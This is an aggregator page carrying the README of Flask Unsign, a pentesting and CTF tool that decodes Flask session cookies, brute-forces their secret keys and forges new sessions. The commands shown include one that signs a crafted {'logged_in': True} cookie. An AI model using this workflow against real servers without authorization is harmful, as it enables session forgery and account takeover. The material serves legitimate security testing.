All Projects → Paradoxis → Flask Unsign

Paradoxis / Flask Unsign

Licence: mit
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.

Programming Languages

python
139335 projects - #7 most used programming language

Projects that are alternatives of or similar to Flask Unsign

Jwtxploiter
A tool to test security of json web token
Stars: ✭ 130 (+44.44%)
Mutual labels:  security-tools, pentesting, penetration-testing, ctf, ctf-tools
Stegcracker
Steganography brute-force utility to uncover hidden data inside files
Stars: ✭ 396 (+340%)
Mutual labels:  pentesting, penetration-testing, ctf, ctf-tools
Security Tools
Collection of small security tools, mostly in Bash and Python. CTFs, Bug Bounty and other stuff.
Stars: ✭ 509 (+465.56%)
Mutual labels:  security-tools, pentesting, ctf, ctf-tools
Knary
A simple HTTP(S) and DNS Canary bot with Slack/Discord/MS Teams & Pushover support
Stars: ✭ 187 (+107.78%)
Mutual labels:  security-tools, pentesting, penetration-testing, ctf-tools
Scilla
🏴‍☠️ Information Gathering tool 🏴‍☠️ DNS / Subdomains / Ports / Directories enumeration
Stars: ✭ 116 (+28.89%)
Mutual labels:  security-tools, pentesting, penetration-testing, ctf-tools
Spellbook
Micro-framework for rapid development of reusable security tools
Stars: ✭ 53 (-41.11%)
Mutual labels:  security-tools, pentesting, ctf, ctf-tools
A Red Teamer Diaries
RedTeam/Pentest notes and experiments tested on several infrastructures related to professional engagements.
Stars: ✭ 382 (+324.44%)
Mutual labels:  security-tools, pentesting, penetration-testing
Hosthunter
HostHunter a recon tool for discovering hostnames using OSINT techniques.
Stars: ✭ 427 (+374.44%)
Mutual labels:  security-tools, pentesting, penetration-testing
Stowaway
👻Stowaway -- Multi-hop Proxy Tool for pentesters
Stars: ✭ 500 (+455.56%)
Mutual labels:  security-tools, pentesting, ctf
Thc Hydra
hydra
Stars: ✭ 5,645 (+6172.22%)
Mutual labels:  pentesting, penetration-testing, bruteforce
Hashview
A web front-end for password cracking and analytics
Stars: ✭ 601 (+567.78%)
Mutual labels:  security-tools, pentesting, penetration-testing
Habu
Hacking Toolkit
Stars: ✭ 635 (+605.56%)
Mutual labels:  security-tools, pentesting, penetration-testing
Cheatsheet God
Penetration Testing Reference Bank - OSCP / PTP & PTX Cheatsheet
Stars: ✭ 3,521 (+3812.22%)
Mutual labels:  security-tools, pentesting, penetration-testing
Sn1per
Attack Surface Management Platform | Sn1perSecurity LLC
Stars: ✭ 4,897 (+5341.11%)
Mutual labels:  penetration-testing, pentesting, security-tools
Whatweb
Next generation web scanner
Stars: ✭ 3,503 (+3792.22%)
Mutual labels:  security-tools, pentesting, penetration-testing
YAPS
Yet Another PHP Shell - The most complete PHP reverse shell
Stars: ✭ 35 (-61.11%)
Mutual labels:  penetration-testing, pentesting, ctf-tools
Evillimiter
Tool that monitors, analyzes and limits the bandwidth of devices on the local network without administrative access.
Stars: ✭ 764 (+748.89%)
Mutual labels:  security-tools, pentesting, penetration-testing
Vhostscan
A virtual host scanner that performs reverse lookups, can be used with pivot tools, detect catch-all scenarios, work around wildcards, aliases and dynamic default pages.
Stars: ✭ 767 (+752.22%)
Mutual labels:  security-tools, penetration-testing, ctf-tools
Ciphey
⚡ Automatically decrypt encryptions without knowing the key or cipher, decode encodings, and crack hashes ⚡
Stars: ✭ 9,116 (+10028.89%)
Mutual labels:  pentesting, ctf, ctf-tools
Rengine
reNgine is an automated reconnaissance framework for web applications with a focus on highly configurable streamlined recon process via Engines, recon data correlation and organization, continuous monitoring, backed by a database, and simple yet intuitive User Interface. reNgine makes it easy for penetration testers to gather reconnaissance with…
Stars: ✭ 3,439 (+3721.11%)
Mutual labels:  security-tools, penetration-testing, pentesting

Flask Unsign

Build Status PyPI version codecov

Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys. For the standalone wordlist component, please visit the flask-unsign-wordlist repository.

Requirements

  • Python 3.6+

Installation

To install the application, simply use pip:

$ pip3 install flask-unsign[wordlist]

If you only want to install the core code, omit the [wordlist] suffix:

$ pip3 install flask-unsign

To install the tool for development purposes, run the following command (after downloading a copy):

$ pip3 install -e .[test]

Usage

To get an overview of all possible options, simply call flask-unsign without any arguments like so:

$ flask-unsign

Obtaining & Decoding Session Cookies

Due to the fact that Flask cookies are signed and not encrypted, it's possible to locally decode the session data. For this, you can use the --decode argument.

Session cookies can be obtained by inspecting your HTTP requests using a proxy like Burp Proxy, using your browser's network inspector or using a browser extension to view/change your cookies. By default, Flask uses the session name "session".

$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}

You can also use Flask-Unsign's automatic session grabbing functionality by passing the --server argument, instead of the --cookie argument. Do note however, that not all web pages might return a session, so be sure to pass an url which does.

$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}

Unsigning (Brute Forcing Secret Keys)

After obtaining a sample session cookie, you'll be able to attempt to brute-force the server's secret key. If you're lucky, this might be set to something easy to guess, or if it's been found online, it might be in one of your wordlists. For this, you can use the --unsign argument.

$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'

Signing (Session Manipulation)

Once you've obtained the server's secret key, you'll be able to craft your own custom session data. For this, you can use the --sign argument.

$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

Troubleshooting

  • Installing the program results in an error
    • You might be using the wrong pip binary, try using the following command: python3.6 -m pip install flask-unsign
  • I found a secret key, but my crafted sessions don't work!
    • It might be possible that your target server uses an older version of itsdangerous. Due to an issue with timed sessions, the timestamp generation algorithm was changed. To generate an older signature, try using the --legacy option.
  • My wordlist doesn't work
    • Wordlists expect to be newline delimited python strings (meaning you need to encapsulate them in quotes), this is so that binary strings can easily be stored in a newline format. If you don't want this, you can disable this feature by passing the --no-literal-eval argument.

How it works

If you're wondering how exactly this works, refer to my blog post which explains this in great detail, including a guide on how to protect your own server from this attack.

License

MIT License

Copyright (c) 2019 Luke Paris (Paradoxis)

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].